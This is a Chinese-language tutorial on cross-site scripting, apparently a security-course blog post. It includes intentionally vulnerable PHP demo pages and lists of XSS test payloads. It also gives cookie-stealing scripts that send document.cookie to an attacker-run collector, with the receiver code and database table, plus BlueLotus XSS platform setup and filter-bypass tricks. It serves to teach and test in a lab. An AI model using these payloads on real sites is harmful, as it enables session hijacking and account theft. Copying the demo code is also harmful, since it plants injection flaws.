XSS跨站攻击漏洞
XSS跨站攻击漏洞
一 概述
1 XSS概述
xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。
XSS攻击者的目的就是寻找具有XSS漏洞的网页,让受害者在不知情的情况下,在有XSS漏洞的网页上执行攻击者的JavaScript代码。
XSS是提前埋伏好漏洞陷阱,等着受害者上钩。既然攻击者是执行JavaScript代码,所以攻击的语句应该能让JavaScript运行。
有两种途径
第一种 反射型
直接将js代码附在url中,把url发送给指定的用户。引诱其点击。
第二种 存储型
把js代码通过后端漏洞,存入数据库中,由于页面在接受服务器返回响应时会从数据库中取出js代码,造成访问该页面的所有用户被攻击。
2 危害
1.页面挂马 2.获取用户的cookie 3.ddos攻击 4.钓鱼攻击 5.篡改数据 6.传播病毒
二 原理
1 反射型
(1)用户输入内容,直接显示在页面
php
<?php$content = $_GET["content"];echo "$content" ?>
payload
192.172.10.41/week3/demo1.php?content=<script>alert(1)</script>
(2)将用户输入的内容,回显在标签对中
php
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Document</title> </head> <body><div><?php$content = $_GET["content"];echo "$content"?></div> </body> </html>
payload
192.172.10.41/week3/demo1.php?content=hello
(3) 将用户的输入回显在标签属性中
php
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Document</title> </head> <body><div><?php$content = $_GET["content"];?><input type="text" value="<?=$content;?>"></div> </body> </html>
payload
闭合标签,添加script标签 192.172.10.41/week3/demo1.php?content=hello"><script>alert(1)</script><!-- 添加事件 192.172.10.41/week3/demo1.php?content=hello" οnmοuseοver="alert(1) 嵌入网页 192.172.10.41/week3/demo1.php?content="><iframe src="https://www.taobao.com" width="100%" heigth="100%" ></iframe><!-- 添加页面元素 192.172.10.41/week3/demo1.php?content="><img src="./image/dateme.gif" οnclick="alert(1)"><!--
XSS常用测试语句
<script>alert(1)</script> <img src=1 οnerrοr=alert(1)> <svg οnlοad=alert(1)> <a href=javascript:alert(1)> <input οnfοcus=write(1) autofocus>
2 存储型
将攻击脚本通过后端写入到数据库中,用户在访问页面时,后端通过查询将所有数据回显在页面触发攻击。
php-add
<?phpinclude "utils/dbUtil.php";
//1.接收用户输入$content = $_GET['content'];//2.sql$sql = "insert into week3_test values(default,'$content')";//3.执行sql$res = executeSql($sql);//判断结果if($res){echo "success";}else{echo "error";}
?>
192.172.10.41/week3/demo2-xss存储型-add.php?content=百度<script>alert(1)</script>
php-findById
<?phpinclude "utils/dbUtil.php";
//1.接收用户输入$id = $_GET['id'];//2.sql$sql = "select * from week3_test where id=$id";//3.执行sql$res = queryOne($sql);//判断结果if($res){print_r($res);}else{echo "error";}
?>
192.172.10.41/week3/demo3-xss存储型-findById.php?id=4
三 XSS获取Cookie
1 发送cookie
php
<?phpsession_start();$content = $_GET["content"];echo $content; ?>
注入代码
PHP后台需要将 + 号处理为:%2B,将 & 处理为 %26 语法获取浏览器cookie值 document.cookie发送请求 <script>location.href=url</script><script>location.href="http://ip.php?cookie="%2bocument.cookie</script><script>new Image().src="http://ip.php?cookie="%2bocument.cookie</script>
2 准备C2服务器
搭建phpstudy环境
-
安装phpstudy

-
打开软件,启动Apache和MySQL服务。

-
点击网站,点击管理里的根目录。这里面放的是我们需要去执行的文件,也就是www目录下面。

-
我们在这个文件里面创建一个简单的php文件。

-
打开浏览器,输入http://localhost/phpinfo.php。phpinfo.php是你写的文件名

开发xss服务器端
表
CREATE TABLE `getcookie` (`id` int(0) NOT NULL AUTO_INCREMENT,`url` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,`cookie` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,`createtime` timestamp(0) NULL DEFAULT NULL,PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin ROW_FORMAT = Dynamic;
php
<?php$url = $_GET['url'];$cookie = $_GET['cookie'];//1.连接数据库 参数说明: ip 账号 密码 数据库$conn = mysqli_connect("127.0.0.1",'root','root','part3'); //2.设置编码格式utf-8mysqli_query($conn,"set names utf8");//3.sql$sql = "insert into getcookie(url,cookie,createtime) values('$url','$cookie',now())";//4.执行sql$res = mysqli_query($conn,$sql) or die("执行失败".mysqli_error($conn));
?>
3 开始注入获取cookie
192.172.10.41/week3/demo1-xss反射型.php?content=hello<script>new Image().src="http://192.172.10.40/getcookie.php?url="%2Bdocument.cookie%2B"%26cookie="%2Blocation.href </script>


四 BlueLotusXSS平台使用
一、安装
下载地址 GitHub - sqlsec/BlueLotus_XSSReceiver: XSS平台 CTF工具 Web安全工具
1 上传BlueLotus_XSSReceiver-master.zip到xampp
把BlueLotus_XSSReceiver-master.zip上传到CentOS的/opt/lampp/htdocs目录,并解压 解压 unzip BlueLotus_XSSReceiver-master.zip
2 访问:192.172.10.41/BlueLotus_XSSReceiver-master/install.php
按照提示将config-sample.php改名为config.php 不要点安装

3 配置目录权限
执行命令:chmod o+w data myjs template
![]()
4 登录
登录地址 http://192.172.10.41/BlueLotus_XSSReceiver-master/login.php 登录密码 bluelotus

5 进入首页

二、定制XSS代码
1 生成payload

生成Payload后,直接将其代码复制到XSS页面中即可

2 在页面上注入代码
192.172.10.41/week3/demo1-xss反射型.php?content=hello<script src="http://192.172.10.41/BlueLotus_XSSReceiver-master/myjs/getcookie.js"></script>

接收到数据

https://github.com/sqlsec/BlueLotus_XSSReceiver
五 XSS的防御和绕过
1 防御
(1) 前端校验 针对用户输入框进行js校验。
(2)通过函数对用户输入内容中的特殊符号进行转码.
htmpspcialchars(字符串,ENT_QUOTES); ENT_QUOTES表示对单引号进行转码
(3)通过字符串替换:替换规则需要考虑各种覆盖。
str_replace()
2 绕过
(1)针对前端校验
在浏览器上禁用js 通过工具或者协议绕过前端。
(2)函数替换
1 可以使用实体转码j
2 大小写绕过: 针对没有忽略大小写
<Script></sCript>
3 双写绕过 str_replace("script","",$str);
scrscriptipt
4 如果对空格进行了替换 使用 %0或者%0d绕过
六 XSS靶场实战

相关文章:
XSS跨站攻击漏洞
XSS跨站攻击漏洞 一 概述 1 XSS概述 xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。 XSS攻击者的目的就是…...
PMP到底值不值得考?
首先,咱们得明白PMP是个啥。 PMP,全称Project Management Professional,是美国项目管理协会PMI颁发的一个项目管理专业人士资格认证。 PMP证书在项目管理领域可是有着举足轻重的地位,与MBA、MPA并驾齐驱,被称为“全球…...
redis面试总结
redis的数据类型? string字符串:类似于java中Map<String,String>。存储字符串、JSON数据、验证码等。 Hash字典:类似java中Map<String, Map<Spring,String>>。比较适合存储对象数据。 List列表:类似java中Ma…...
大模型日报2024-06-24
大模型日报 2024-06-24 大模型资讯 大模型产品 AI快速生成专业播客 摘要: MakePodcast.io使用AI语音,只需提供脚本并选择声音,即可在几分钟内生成专业质量的播客。 Sherloq:SQL用户的AI协作仓库 摘要: Sherloq为SQL查询提供一站式管理&#x…...
深入理解计算机系统 CSAPP 练习题7.4
A:0x4004e8(-4)-50x4004df B:0x5...
摘苹果-第13届蓝桥杯省赛Python真题精选
[导读]:超平老师的Scratch蓝桥杯真题解读系列在推出之后,受到了广大老师和家长的好评,非常感谢各位的认可和厚爱。作为回馈,超平老师计划推出《Python蓝桥杯真题解析100讲》,这是解读系列的第88讲。 摘苹果࿰…...
开源项目推荐-vue2+element+axios 个人财务管理系统
文章目录 financialmanagement项目简介项目特色项目预览卫星的实现方式:首次进入卫星效果的实现方式:卫星跟随鼠标滑动的随机效果实现方式:环境准备项目启动项目部署项目地址 financialmanagement 项目简介 vue2elementaxios 个人财务管理系…...
手机数据如何恢复?11 款最佳安卓手机恢复软件
媒体可能由于各种原因而从您的设备中删除,可能是意外或病毒攻击。 在这些情况下,照片恢复应用程序是唯一的解决方案。理想的照片恢复应用程序取决于各种因素,例如存储设备的损坏程度、删除照片后的持续时间以及应用程序使用的恢复算法的有效性…...
大语言模型千问2的web搭建(streamlit)
Qwen2的web搭建(streamlit) 千问2前段时间发布了,个人觉得千问系列是我用过最好的中文开源大模型,所以这里基于streamlit进行一个千问2的web搭建,来进行模型的测试 一、硬件要求 该文档中使用的千问模型为7B-Instruct,需要5g以…...
守护生产车间安全:可燃气体报警器预警与检测的重要性
近日,东莞一材料厂发生的火灾事故再次敲响了工业安全生产的警钟。 这起事故不仅给工厂带来了巨大的经济损失,也暴露了一些企业在安全管理方面的疏漏。其中,可燃气体报警器的应用与预警功能在火灾防范中扮演了至关重要的角色。 接下来&#…...
[创业之路-125] :制造业企业的必备管理神器-ERP-计算的资源管理与企业的资源管理的异同
目录 一、计算机的资源与企业资源相同点与不同点 1.1 相同点: 1.2 不同点: 二、计算机的内存管理与企业的库存管理相同点与不同点 2.1 相同点: 2.2 不同点: 一、计算机的资源与企业资源相同点与不同点 计算机的资源与企业资…...
TDengine Cloud 新增签约,这次是能源物联网平台
最近,全托管的物联网、工业大数据云服务平台 TDengine Cloud 新增一项签约🥳。为进一步提升平台的数据处理能力与系统稳定性,推动智能设备数据管理和能效优化到新的高度, 德中恒越物联网数据平台选择应用 TDengine Cloud ☁️。 …...
Kafka 最佳实践:构建高性能、可靠的数据管道
目录 1. 部署最佳实践 1.1 硬件配置 1.2 集群配置 1.3 ZooKeeper 配置 2. 主题和分区设计 2.1 分区设计 2.2 数据保留策略 3. 生产者最佳实践 3.1 生产确认机制 3.2 重试机制 3.3 批量发送 4. 消费者最佳实践 4.1 消费组管理 4.2 并行处理 4.3 错误处理 5. 安全…...
进军韩国5G市场!移远通信5G模组RG500L-EU率先获得KT、LGU+认证
近日,移远通信工规级5G模组RG500L-EU再传喜讯,率先通过了韩国两大运营商KT和LGU的严格认证。在此之前,该模组已顺利通过KC认证(韩国法规认证),此次再获运营商认证表明,RG500L-EU已完全满足韩国…...
http/2 二进制分帧层 (Binary Framing Layer)讲解
文章目录 二进制帧HTTP/2 中的帧、消息和流1. 帧(Frame)2. 消息(Message)3. 流(Stream)总结示例: 二进制帧结构1.帧头部结构2.帧负载数据 请求和响应多路复用 链接参考:https://web.…...
Mybatis分页查询,同时返回total
在垃圾项目中一般都是使用mybatis plus自动返回Page,但是涉及到多表联合或者等等情况最终还是要使用mybatis进行手写sql查询,所以有此文章以便后续使用查询. 首先mysql需要支持多条查询语句,在mysql配置url后加上: &allowMultiQueriestrue&useAffectedRowstrue Mapper…...
JDK17新增语法特征
1、引言 Spring Boot 3.0 开始不再支持 JDK 8,转而支持 JDK 17。 这篇博客我会列举较常用的新语法特性。 2、新增语法特征 2.1 yield关键字 从Java13开始引⼊yield关键字,yield关键字应用于switch语句中,我们可以使用yield来简化代码。 正常的…...
2748. 美丽下标对的数目(Rust暴力枚举)
题目 给你一个下标从 0 开始的整数数组 nums 。如果下标对 i、j 满足 0 ≤ i < j < nums.length ,如果 nums[i] 的 第一个数字 和 nums[j] 的 最后一个数字 互质 ,则认为 nums[i] 和 nums[j] 是一组 美丽下标对 。 返回 nums 中 美丽下标对 的总…...
Vue中双向数据绑定是如何实现的
在 Vue.js 中,双向数据绑定(也称为响应式系统)是通过其内部实现的一个系统来实现的,该系统可以追踪数据的变化,并在数据变化时自动更新 DOM。Vue 使用了一种称为“观察者-订阅者”的模式来实现这一点。 以下是 Vue 双…...
桌面云和云桌面的区别联系
桌面云和云桌面是两个相关但不完全相同的概念。桌面云是一种基于云计算技术的解决方案,将用户的桌面环境(包括操作系统、应用程序和数据)移至云端进行管理和交付,而云桌面是在服务器上虚拟化的桌面环境,用户通过网络连…...
地震勘探——干扰波识别、井中地震时距曲线特点
目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波:可以用来解决所提出的地质任务的波;干扰波:所有妨碍辨认、追踪有效波的其他波。 地震勘探中,有效波和干扰波是相对的。例如,在反射波…...
OkHttp 中实现断点续传 demo
在 OkHttp 中实现断点续传主要通过以下步骤完成,核心是利用 HTTP 协议的 Range 请求头指定下载范围: 实现原理 Range 请求头:向服务器请求文件的特定字节范围(如 Range: bytes1024-) 本地文件记录:保存已…...
sqlserver 根据指定字符 解析拼接字符串
DECLARE LotNo NVARCHAR(50)A,B,C DECLARE xml XML ( SELECT <x> REPLACE(LotNo, ,, </x><x>) </x> ) DECLARE ErrorCode NVARCHAR(50) -- 提取 XML 中的值 SELECT value x.value(., VARCHAR(MAX))…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人,点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置,详见说明文档 成功后,记录Webhook 2 API文档说明 点击设置说明 查看自…...
Redis:现代应用开发的高效内存数据存储利器
一、Redis的起源与发展 Redis最初由意大利程序员Salvatore Sanfilippo在2009年开发,其初衷是为了满足他自己的一个项目需求,即需要一个高性能的键值存储系统来解决传统数据库在高并发场景下的性能瓶颈。随着项目的开源,Redis凭借其简单易用、…...
MySQL 部分重点知识篇
一、数据库对象 1. 主键 定义 :主键是用于唯一标识表中每一行记录的字段或字段组合。它具有唯一性和非空性特点。 作用 :确保数据的完整性,便于数据的查询和管理。 示例 :在学生信息表中,学号可以作为主键ÿ…...
python爬虫——气象数据爬取
一、导入库与全局配置 python 运行 import json import datetime import time import requests from sqlalchemy import create_engine import csv import pandas as pd作用: 引入数据解析、网络请求、时间处理、数据库操作等所需库。requests:发送 …...
nnUNet V2修改网络——暴力替换网络为UNet++
更换前,要用nnUNet V2跑通所用数据集,证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构,初步了解要修改的网络,知己知彼,修改起来才能游刃有余。 U-Net存在两个局限,一是网络的最佳深度因应用场景而异,这取决于任务的难度和可用于训练的标注数…...
WEB3全栈开发——面试专业技能点P4数据库
一、mysql2 原生驱动及其连接机制 概念介绍 mysql2 是 Node.js 环境中广泛使用的 MySQL 客户端库,基于 mysql 库改进而来,具有更好的性能、Promise 支持、流式查询、二进制数据处理能力等。 主要特点: 支持 Promise / async-await…...
